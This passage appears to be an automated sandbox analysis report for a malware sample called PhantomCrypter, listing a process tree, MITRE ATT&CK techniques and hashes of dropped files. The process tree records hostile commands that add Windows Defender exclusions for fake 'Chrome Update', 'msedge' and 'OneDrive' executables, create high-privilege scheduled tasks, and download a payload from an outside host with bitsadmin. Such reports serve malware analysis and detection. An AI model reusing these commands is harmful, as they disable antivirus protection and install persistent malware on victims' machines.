    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3664
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Roaming\msedge.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4916
- C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\PhantomCrypters.exe
  "C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\PhantomCrypters.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  PID:3664
- - C:\Users\Admin\AppData\Roaming\Chrome Update.exe
    "C:\Users\Admin\AppData\Roaming\Chrome Update.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    PID:2708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Chrome Update.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1156
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Chrome Update.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Chrome Update.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Chrome Update.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3896
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Chrome Update" /tr "C:\Users\Admin\AppData\Roaming\Chrome Update.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3168
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\DownloaderLuc.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    PID:212
  - - C:\Windows\SysWOW64\bitsadmin.exe
      "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://spyderrock.com/xkdg5397-run.exe C:\Users\Admin\AppData\Local\Temp\Notify.exe
      4⤵
      Download via BitsAdmin
      System Location Discovery: System Language Discovery
      PID:2492
- - C:\Users\Admin\AppData\Roaming\msedge.exe
    "C:\Users\Admin\AppData\Roaming\msedge.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\msedge.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2308
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1720
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\msedge.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1920
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1560
- - C:\Users\Admin\AppData\Roaming\OneDrive.exe
    "C:\Users\Admin\AppData\Roaming\OneDrive.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    PID:2668
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\OneDrive.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'OneDrive.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2952
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\OneDrive.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1252
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'OneDrive.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4536
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "OneDrive" /tr "C:\ProgramData\OneDrive.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3744
- - C:\Users\Admin\AppData\Roaming\TOPHERC.exe
    "C:\Users\Admin\AppData\Roaming\TOPHERC.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2180

C:\Windows\SysWOW64\werfault.exe
werfault.exe /h /shared Global\5816ad0dc45c43e1ac6b51ad6951a3fb /t 4440 /p 212
1⤵
PID:4928

C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\PhantomCrypter.exe
"C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\PhantomCrypter.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:1720
- C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\msedge.exe
  "C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\msedge.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4896
- C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\PhantomCrypters.exe
  "C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\PhantomCrypters.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  PID:3164
- - C:\Users\Admin\AppData\Roaming\Chrome Update.exe
    "C:\Users\Admin\AppData\Roaming\Chrome Update.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:836
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\DownloaderLuc.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    PID:4576
  - - C:\Windows\SysWOW64\bitsadmin.exe
      "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://spyderrock.com/xkdg5397-run.exe C:\Users\Admin\AppData\Local\Temp\Notify.exe
      4⤵
      Download via BitsAdmin
      System Location Discovery: System Language Discovery
      PID:212
- - C:\Users\Admin\AppData\Roaming\msedge.exe
    "C:\Users\Admin\AppData\Roaming\msedge.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4080
- - C:\Users\Admin\AppData\Roaming\OneDrive.exe
    "C:\Users\Admin\AppData\Roaming\OneDrive.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:180
- - C:\Users\Admin\AppData\Roaming\TOPHERC.exe
    "C:\Users\Admin\AppData\Roaming\TOPHERC.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4992

C:\Users\Admin\AppData\Local\msedge.exe
C:\Users\Admin\AppData\Local\msedge.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3760

C:\Users\Admin\AppData\Roaming\Chrome Update.exe
"C:\Users\Admin\AppData\Roaming\Chrome Update.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4772

C:\ProgramData\OneDrive.exe
C:\ProgramData\OneDrive.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:632

C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\PhantomCrypters.exe
"C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\PhantomCrypters.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
PID:932
- C:\Users\Admin\AppData\Roaming\Chrome Update.exe
  "C:\Users\Admin\AppData\Roaming\Chrome Update.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4896
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\DownloaderLuc.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  PID:4428
- - C:\Windows\SysWOW64\bitsadmin.exe
    "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://spyderrock.com/xkdg5397-run.exe C:\Users\Admin\AppData\Local\Temp\Notify.exe
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:1936
- C:\Users\Admin\AppData\Roaming\msedge.exe
  "C:\Users\Admin\AppData\Roaming\msedge.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4080
- C:\Users\Admin\AppData\Roaming\OneDrive.exe
  "C:\Users\Admin\AppData\Roaming\OneDrive.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4904
- C:\Users\Admin\AppData\Roaming\TOPHERC.exe
  "C:\Users\Admin\AppData\Roaming\TOPHERC.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

BITS Jobs

T1197

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

BITS Jobs

T1197

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\PhantomCrypter.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
e55832d7cd7e868a2c087c4c73678018

SHA1
ed7a2f6d6437e907218ffba9128802eaf414a0eb

SHA256
a4d7777b980ec53de3a70aca8fb25b77e9b53187e7d2f0fa1a729ee9a35da574

SHA512
897fdebf1a9269a1bf1e3a791f6ee9ab7c24c9d75eeff65ac9599764e1c8585784e1837ba5321d90af0b004af121b2206081a6fb1b1ad571a0051ee33d3f5c5f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
c2d9eeb3fdd75834f0ac3f9767de8d6f

SHA1
4d16a7e82190f8490a00008bd53d85fb92e379b0

SHA256
1e5efb5f1d78a4cc269cb116307e9d767fc5ad8a18e6cf95c81c61d7b1da5c66

SHA512
d92f995f9e096ecc0a7b8b4aca336aeef0e7b919fe7fe008169f0b87da84d018971ba5728141557d42a0fc562a25191bd85e0d7354c401b09e8b62cdc44b6dcd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
83c81f1ca94c76a7a07e244516665afc

SHA1
bec5fdb5f667b324dcbc6c8f4ed0024c4c75946b

SHA256
44cd7aa555bb053b73d435d3ca2e117065160ff66e83c1d3ad04d0300b6e576b

SHA512
43016a23a10202bc7fd598e24652f3dfe1e42d3b914e03309c2f5858e6dd5403965bef04473d54ee79aa6e8bd0a0b7cf3b88dd87ebfa66ec489352f5702f9a0f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
657B

MD5
cee71c2501fbf3f7c793fb1537f39362

SHA1
68449c1322a773b9be344f66bdc02cf6247d7df7

SHA256
9829a6b4586d5689c023784f94fa6df2baf22c209d779b4866c50cbc288860fd

SHA512
c932268f9a1eda03f7d62f9b36c1d716ad0984fde2176613d0b2124e76de6c1bac7152201068277ba64d42e707b061ef9bae5758c79defdf0438c41bf314df5d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
016f4c90750f7fca44d7ba6c2df46a8f

SHA1
40245f613c4042544b75905dbcb88dbd7d13c57d

SHA256
8bbf7188f68a7ff5236853b6c908ab9b318ab95d7624cf41ad12e813c97d678f

SHA512
165cbf6dd4c3da95589a4487db93293047306bdca64b7f1daa8b4f5404bc39601b99f438d8f7a5c4d6477b7f4384ab7972e338b3c83b3e0ddfd2dbedc1c10d89

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
9e1c5d881145ea65b7b665a21bfb551d

SHA1
d0be5ce11b4960dc9eb8f6b6bdd1aa5e7c45b76d

SHA256
087ea307a693880d93b3b22ee762833063a4e968545325a1e28f9a5446c2aa12

SHA512
c38dcba8634353328c1c7c3a64fcd3c3ceaf9d2a317f04907d638b3c37ae90979f48f16cadd36e13e955c844b1a4481bd7fb3da67156963c24411dbb4b70b798

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
ae3994fc44568877655f42c92e312172

SHA1
bd297fa657f019bda3d4db2976e74be701c18304

SHA256
f119049df8772a191a7f45c7a62c286017aac659f8983ff7faabc99c9faffe81

SHA512
7f651763ce923639b3897b9f465e0100ffaf835e420ead30218e6a59e48a6cbddfa3410d63bbb687835746b156f4702665aa438ab1cfcb227e0adb116ad0023f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
46639126c2b88aa25273f3e1f273cded

SHA1
1499a76e774205b774198d6320c9b5dc8c9ab6f6

SHA256
777d61c5b2121d7234062dc3037d67af2d5f7dc296fe08497d6cc8a7ecf230ac

SHA512
bc35d6367c0761778f5cb8759a908461d62418c9a0e01dd8f545a496af92e3e0db058f985d8d1d1fba4fe2e02e944c8a06e39bd01dae3a73d6a0be66a81a0080

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57f06b.TMP

Filesize
1KB

MD5
8cffe7409e47cc0dc3e7b3be7ba19a6b

SHA1
ec0cb3f445c7ad542048c27f79bd113ebac9da07

SHA256
a26a6583c2c8e106f3f90c1729cbc0575cfd1766fc6dda0c024fc5b8447b1330

SHA512
0ef7208de2e5be8e056d665f24a5d91cd1e10568f9084d7ead7109bf10f1b82768b33f01aa3fba06a53986750cd7aaf01c7a7a3ac945e98ef24e0be494ad5c30

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
a7aea4b67306a495da8d4a7f3bfae232

SHA1
9cf01da2cb78122187425d9401801f8265193da9

SHA256
344fb6843764ea98cd925b07b5a0b89533bdd495816fefb2e5f29c630dc10341

SHA512
75bb7de9bf820f3ca2f5ba21dc550a67dbc2f8a9dee6345d1aae6842650fea390a02187e377228e03b8260ec47d699ca42ffabe0dec744efa4eea006908bea1d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
1b5817f79a01e6d49617e03f247d7652

SHA1
c1ae6125bb4df6966d37ccebbf5c9931f5ff57af

SHA256
f04d5c1a0c7d26c7ee256c3a1ddcd2f029d4025c7c688e131d80a3af6498436d

SHA512
c14b514dec0dd24197ed80a0ec71334501264a6d156f86075576b0270a04f1bb6abeb9b09b0806d4bfa91b43f678dca6219a392585be332369ede5ebb464f93d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
178025aed8055c98216248b950a9b8c7

SHA1
bd241d280334a1fd9081aabffa2bbe3536b9ee29

SHA256
5d464dc79b88a5cdfad56f46ed35c362f90af9cdd4189e4ef8408ad445990390

SHA512
0db769ee1709d31044852eae1617d729f64477edf8f71b6e6f93214d9946ee2bbad8e8e5b72db3d65806d948c8bdd618390fc7a4462a4ecdaba5fc60be60f631

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
37a924b11cf3f7f57fc56898abe9b0e6

SHA1
5ee379727611f74dc5fa677b65881d4c63e10f95

SHA256
6e7f7c5fddb3a0300740fdcbe1a8ec3a0be0f16dff193f9806364a19262b52bf

SHA512
903e1badb3577e0b3e92b69491596c9a402b51cdf3de43d5fb06b08c5689d2ff7ba25f8d1497d6527e943d9063a7ee79cbf2b47892de1de3b68cc7ca77853d6f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
fa337acbc62467382bad46f5e9cfc80c

SHA1
5fe792f6be106a9e07b5b4f9035fcbb9bb6d1db6

SHA256
e3fa3f287595a09ab3c333f6dc6c3a9172b41b4e3902ae80c06f0862a493b912

SHA512
1ef99cda1a51c6bba3dc6671bd511fecc40c352e0311449de826d2de4afabd65c8e188bd75f3be80346357f4bc7431c1b8603e72c2a159a26cca8a7019295cce

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
83685d101174171875b4a603a6c2a35c

SHA1
37be24f7c4525e17fa18dbd004186be3a9209017

SHA256
0c557845aab1da497bbff0e8fbe65cabf4cb2804b97ba8ae8c695a528af70870

SHA512
005a97a8e07b1840abdcef86a7881fd9bdc8acbfdf3eafe1dceb6374060626d81d789e57d87ca4096a39e28d5cca00f8945edff0a747591691ae75873d2b3fb5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
0aa63dbb46d451e47a7a682c64af776d

SHA1
3b0026f2dae8e9c491ccaa40133755779de35aaa

SHA256
9158038718d41172c22a3c1a15852405e3e1c8e2c44fa066328eb1520e5d977b

SHA512
4d2564850c2ab1bc71089412f19147df4a1cd3075aa2039aa894271b333cd9c510b7ba4d70889f24d45d8b366d8b5167abdcf24314e4753420337c7d34e7c43f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e25058a5d8ac6b42d8c7c9883c598303

SHA1
bd9e6194a36a959772fc020f905244900ffc3d57

SHA256
9f6fe2203df58ba90b512b436fd74f5eeb4f39f4f9f54a41e882fc54e5f35d51

SHA512
0146f2d1298acf189005217784e952d6e99bf7c8bf24ae9e9af1a2ca3d881dca39f19f3ecd06c7d0ad919bc929edaf6e97e0ab2d7f71733b9422527c594ea0c5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
8ab6456a8ec71255cb9ead0bb5d27767

SHA1
bc9ff860086488478e7716f7ac4421e8f69795fb

SHA256
bcb14f15fbe23bf51a657c69b24f09cd51e33a2530f89ad17c44f660769611e2

SHA512
87c5368dbd7c85f341edf8992d8b1c87984f9a3549a4802c6054da4e12a8674f10f56d03afc1a72b2cfc40895150d3b0f4d9d4c355c79cdf364ace35eb8ebf15

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
dbb22d95851b93abf2afe8fb96a8e544

SHA1
920ec5fdb323537bcf78f7e29a4fc274e657f7a4

SHA256
e1ee9af6b9e3bfd41b7d2c980580bb7427883f1169ed3df4be11293ce7895465

SHA512
16031134458bf312509044a3028be46034c544163c4ca956aee74d2075fbeb5873754d2254dc1d0b573ce1a644336ac4c8bd7147aba100bfdac8c504900ef3fc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
26d1fec9e388575d80909a1dca1ceba9

SHA1
28e327409057f4672fa33689842c1dfd3648ebed

SHA256
c89e1ff1a53f08364fcdea6aa526e0ba2dd8d2469bcd4dd335b01d96f5860dbd

SHA512
61b4c0204b8ded349f63e2352cf073f731730a78f6a7ab4a447d6481af69157b19f6797b99672220dcf0bfb7a40fd5f76b910a4e316482a767ef18e719e4b39e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
0256bd284691ed0fc502ef3c8a7e58dc

SHA1
dcdf69dc8ca8bf068f65d20ef1563bbe283e2413

SHA256
e2fb83098e114084f51ed7187334f861ce670051046c39f338928296ca9a49cf

SHA512
c5b29c1e0a15ddb68b0579848066774fa7cdc6f35087bbbf47c05a5c0dcc1eb3e61b2ddadfbded8c1ed9820e637596a9f08a97db8fb18000d168e6b159060c42

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ncrvac3x.jrt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Chrome Update.exe

Filesize
152KB

MD5
16cdd301591c6af35a03cd18caee2e59

SHA1
92c6575b57eac309c8664d4ac76d87f2906e8ef3

SHA256
11d55ac2f9070a70d12f760e9a6ee75136eca4bf711042acc25828ddda3582c8

SHA512
a44402e5e233cb983f7cfd9b81bc542a08d8092ffa4bd970fc25fe112355643506d5dfee0dd76f2e79b983df0fde67bfc50aabb477492a7596e38081e4083476

Download Submit
C:\Users\Admin\AppData\Roaming\DownloaderLuc.hta

Filesize
844B

MD5
3f8a283abe6fe28a7d217c8105041426

SHA1
0283cd67e7cc0a99eeae3c3dea69716a6ac75bb1

SHA256
333c439c84ccbcab11dd9cc7f4d90596c5b65caf1164e8a908e61aa0222916b1

SHA512
bc5f8f256356c689953516877f8b7895fb1efe587feabdddf0e1524d0b22e3dcb89e0e654d19d0c314c6a376a0e7594965178a353d147ea98c43d3d5976f1846

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk

Filesize
766B

MD5
216a1fc978d34f5c5201fde4ac08d813

SHA1
4e97042239f1cf76d7c52dcb3b24a54269d386af

SHA256
6517569277904e2a60fcb6b21777cd64e6f0920fcbbd4c56fd9219bde4fe240d

SHA512
6dfa4e7de51b2d57e4a58d83a43124c6c68804082299b2bf3fbe07a379a09081536de974844a5fea348ebf4a8819f5eded71206112fe932f245791eac63a1936

Download Submit
C:\Users\Admin\AppData\Roaming\OneDrive.exe

Filesize
140KB

MD5
a1cd6f4a3a37ed83515aa4752f98eb1d

SHA1
7f787c8d72787d8d130b4788b006b799167d1802

SHA256
5cbcc0a0c1d74cd54ac999717b0ff0607fe6ed02cca0a3e0433dd94783cfec65

SHA512
9489287e0b4925345fee05fe2f6e6f12440af1425ef397145e32e6f80c7ae98b530e42002d92dc156643f9829bc8a3b969e855cecd2265b6616c4514eed00355

Download Submit
C:\Users\Admin\AppData\Roaming\TOPHERC.exe

Filesize
4.2MB

MD5
79f2fd33a188ff47216b4f4dd4552582

SHA1
16e40e0a1fed903fec20cd6cd600e3a2548881ad

SHA256
cc45d38fa00c5aeb33bdf842166460117b5e70b0b4fcf5bb6ef9747ec0b0575f

SHA512
